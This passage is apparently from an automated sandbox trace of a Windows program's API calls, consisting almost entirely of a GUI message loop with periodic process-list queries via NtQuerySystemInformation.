returned 1 [0159.464] IsWindowUnicode (hWnd=0x10166) returned 1 [0159.464] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.464] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0159.464] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0159.465] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0159.465] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0159.465] WaitMessage () returned 1 [0159.483] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.484] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x26d02aa) returned 0x1 [0159.484] IsWindowUnicode (hWnd=0x1015e) returned 1 [0159.484] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.484] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x26d02aa) returned 0x1 [0159.485] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0159.486] SetCursor (hCursor=0x10003) returned 0x10007 [0159.486] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0159.486] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0159.494] _TrackMouseEvent (in: lpEventTrack=0x2bc5b18 | out: lpEventTrack=0x2bc5b18) returned 1 [0159.494] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0159.494] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0159.494] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x19600c4) returned 0x0 [0159.494] GetKeyState (nVirtKey=2) returned 0 [0159.494] GetKeyState (nVirtKey=4) returned 0 [0159.494] GetKeyState (nVirtKey=5) returned 0 [0159.494] GetKeyState (nVirtKey=6) returned 0 [0159.494] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0159.494] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0159.495] WaitMessage () returned 1 [0159.600] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.600] IsWindowUnicode (hWnd=0x1015e) returned 1 [0159.600] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.600] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0159.600] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0159.600] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.600] IsWindowUnicode (hWnd=0x1015e) returned 1 [0159.600] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.600] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0159.600] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0159.600] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x19600c4) returned 0x0 [0159.600] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0159.601] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0159.601] WaitMessage () returned 1 [0159.990] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.990] IsWindowUnicode (hWnd=0x10166) returned 1 [0159.990] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.990] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0159.990] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0159.990] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0159.990] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0159.990] WaitMessage () returned 1 [0160.520] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0160.520] IsWindowUnicode (hWnd=0x10166) returned 1 [0160.520] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0160.520] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0160.520] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0160.521] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0160.521] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0160.521] WaitMessage () returned 1 [0161.051] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0161.051] IsWindowUnicode (hWnd=0x10166) returned 1 [0161.051] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0161.051] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0161.051] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0161.051] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0161.051] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0161.051] WaitMessage () returned 1 [0161.474] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0161.474] IsWindowUnicode (hWnd=0x1015c) returned 1 [0161.474] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0161.474] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0161.474] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0161.474] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7748) returned 0x0 [0161.483] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0161.483] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0161.483] WaitMessage () returned 1 [0161.581] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0161.581] IsWindowUnicode (hWnd=0x10166) returned 1 [0161.581] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0161.581] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0161.581] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0161.581] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0161.581] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0161.581] WaitMessage () returned 1 [0162.112] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0162.112] IsWindowUnicode (hWnd=0x10166) returned 1 [0162.112] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0162.112] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0162.112] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0162.112] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0162.112] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0162.112] WaitMessage () returned 1 [0162.642] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0162.642] IsWindowUnicode (hWnd=0x10166) returned 1 [0162.642] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0162.642] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0162.642] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0162.642] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0162.642] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0162.642] WaitMessage () returned 1 [0163.172] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0163.172] IsWindowUnicode (hWnd=0x10166) returned 1 [0163.172] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0163.172] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0163.173] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0163.173] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0163.173] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0163.173] WaitMessage () returned 1 [0163.484] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0163.484] IsWindowUnicode (hWnd=0x1015c) returned 1 [0163.484] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0163.484] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0163.484] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0163.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x76c8) returned 0x0 [0163.485] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0163.485] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0163.485] WaitMessage () returned 1 [0163.515] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0163.515] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0163.515] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0163.515] IsWindowUnicode (hWnd=0x1015e) returned 1 [0163.515] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0163.515] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0163.515] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0163.516] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0163.516] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0163.516] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0163.517] WaitMessage () returned 1 [0163.702] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0163.702] IsWindowUnicode (hWnd=0x10166) returned 1 [0163.702] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0163.702] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0163.703] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0163.703] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0163.703] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0163.703] WaitMessage () returned 1 [0164.248] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0164.248] IsWindowUnicode (hWnd=0x10166) returned 1 [0164.248] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0164.248] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0164.248] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0164.248] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0164.248] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0164.248] WaitMessage () returned 1 [0164.779] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0164.779] IsWindowUnicode (hWnd=0x10166) returned 1 [0164.779] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0164.779] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0164.779] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0164.779] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0164.779] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0164.779] WaitMessage () returned 1 [0165.309] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0165.309] IsWindowUnicode (hWnd=0x10166) returned 1 [0165.309] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0165.309] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0165.309] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0165.309] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0165.309] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0165.309] WaitMessage () returned 1 [0165.512] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0165.512] IsWindowUnicode (hWnd=0x1015c) returned 1 [0165.512] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0165.512] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0165.513] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0165.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7688) returned 0x0 [0165.514] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0165.514] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0165.514] WaitMessage () returned 1 [0165.840] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0165.840] IsWindowUnicode (hWnd=0x10166) returned 1 [0165.840] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0165.840] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0165.840] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0165.840] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0165.840] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0165.840] WaitMessage () returned 1 [0166.370] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0166.370] IsWindowUnicode (hWnd=0x10166) returned 1 [0166.370] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0166.370] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0166.370] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0166.371] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0166.371] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0166.371] WaitMessage () returned 1 [0166.902] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0166.902] IsWindowUnicode (hWnd=0x10166) returned 1 [0166.902] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0166.902] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0166.902] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0166.902] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0166.902] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0166.902] WaitMessage () returned 1 [0167.431] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0167.431] IsWindowUnicode (hWnd=0x10166) returned 1 [0167.431] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0167.431] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0167.431] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0167.432] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0167.432] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0167.432] WaitMessage () returned 1 [0167.525] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0167.525] IsWindowUnicode (hWnd=0x1015c) returned 1 [0167.525] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0167.525] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0167.525] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0167.525] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7688) returned 0x0 [0167.526] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0167.526] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0167.526] WaitMessage () returned 1 [0167.961] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0167.962] IsWindowUnicode (hWnd=0x10166) returned 1 [0167.962] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0167.962] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0167.962] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0167.962] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0167.962] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0167.962] WaitMessage () returned 1 [0168.492] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0168.492] IsWindowUnicode (hWnd=0x10166) returned 1 [0168.492] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0168.492] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0168.492] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0168.492] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0168.492] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0168.492] WaitMessage () returned 1 [0168.557] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0168.557] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x226035b) returned 0x1 [0168.558] IsWindowUnicode (hWnd=0x1017a) returned 1 [0168.558] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 